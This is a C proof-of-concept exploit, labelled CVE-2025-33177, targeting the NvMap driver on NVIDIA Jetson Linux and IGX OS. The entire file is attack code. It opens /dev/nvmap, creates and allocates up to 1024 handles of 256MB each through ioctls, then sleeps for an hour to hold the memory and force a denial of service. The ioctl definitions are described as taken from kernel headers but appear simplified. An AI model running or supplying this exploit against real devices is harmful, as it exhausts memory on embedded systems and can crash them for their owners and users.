// CVE-2025-33177 PoC - NvMap Memory Overallocation DoS
// Target: NVIDIA Jetson Linux / IGX OS - NvMap driver
// Vulnerability: Improper tracking of memory allocations in NvMap
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
// NvMap ioctl definitions (from kernel headers)
#define NVMAP_IOC_MAGIC 'N'
// NvMap handle allocation structure
struct nvmap_allocate_params {
unsigned int handle;
unsigned int heap_mask;
unsigned int flags;
unsigned int align;
unsigned long size;
};
// NvMap create handle structure
struct nvmap_create_handle_params {
unsigned int handle;
unsigned int size;
unsigned int flags;
};
#define NVMAP_IOCTL_CREATE_HANDLE _IOWR(NVMAP_IOC_MAGIC, 0x00, struct nvmap_create_handle_params)
#define NVMAP_IOCTL_ALLOC_HANDLE _IOWR(NVMAP_IOC_MAGIC, 0x01, struct nvmap_allocate_params)
#define NVMAP_IOCTL_FREE_HANDLE _IOWR(NVMAP_IOC_MAGIC, 0x02, unsigned int)
#define NVMAP_IOCTL_MMAP _IOWR(NVMAP_IOC_MAGIC, 0x03, unsigned int)
#define NVMAP_HEAP_IOVMM (1ul << 2)
#define NVMAP_HANDLE_WRITE (1 << 0)
#define NVMAP_HANDLE_READ (1 << 1)
int main(int argc, char *argv[]) {
int fd;
int ret;
unsigned int handles[1024];
int num_handles = 0;
unsigned long alloc_size = 256 * 1024 * 1024; // 256MB per allocation
// Open the NvMap device
fd = open("/dev/nvmap", O_RDWR | O_SYNC);
if (fd < 0) {
perror("[-] Failed to open /dev/nvmap");
return 1;
}
printf("[+] Opened /dev/nvmap successfully (fd=%d)\n", fd);
// Exploit: Repeatedly allocate memory without proper tracking
// The vulnerability allows overallocation due to improper tracking
printf("[*] Starting memory overallocation exploit...\n");
for (int i = 0; i < 1024; i++) {
struct nvmap_create_handle_params create_params;
struct nvmap_allocate_params alloc_params;
memset(&create_params, 0, sizeof(create_params));
memset(&alloc_params, 0, sizeof(alloc_params));
// Step 1: Create a NvMap handle
create_params.size = alloc_size;
create_params.flags = NVMAP_HANDLE_READ | NVMAP_HANDLE_WRITE;
ret = ioctl(fd, NVMAP_IOCTL_CREATE_HANDLE, &create_params);
if (ret < 0) {
printf("[-] Failed to create handle at iteration %d: %s\n", i, strerror(errno));
break;
}
handles[num_handles] = create_params.handle;
num_handles++;
// Step 2: Allocate memory for the handle
alloc_params.handle = create_params.handle;
alloc_params.heap_mask = NVMAP_HEAP_IOVMM;
alloc_params.flags = NVMAP_HANDLE_READ | NVMAP_HANDLE_WRITE;
alloc_params.align = 4096;
alloc_params.size = alloc_size;
ret = ioctl(fd, NVMAP_IOCTL_ALLOC_HANDLE, &alloc_params);
if (ret < 0) {
printf("[-] Failed to allocate at iteration %d: %s\n", i, strerror(errno));
// Free the handle if allocation failed
ioctl(fd, NVMAP_IOCTL_FREE_HANDLE, &create_params.handle);
break;
}
printf("[+] Iteration %d: Allocated handle=%u size=%lu MB (total: %d handles)\n",
i, create_params.handle, alloc_size / (1024*1024), num_handles);
}
printf("[+] Exploit complete. %d handles allocated.\n", num_handles);
printf("[*] System should experience memory pressure / DoS\n");
// Keep handles alive to maintain memory pressure
printf("[*] Sleeping to maintain memory pressure...\n");
sleep(3600);
// Cleanup (may not be reached if system crashes)
for (int i = 0; i < num_handles; i++) {
ioctl(fd, NVMAP_IOCTL_FREE_HANDLE, &handles[i]);
}
close(fd);
return 0;
}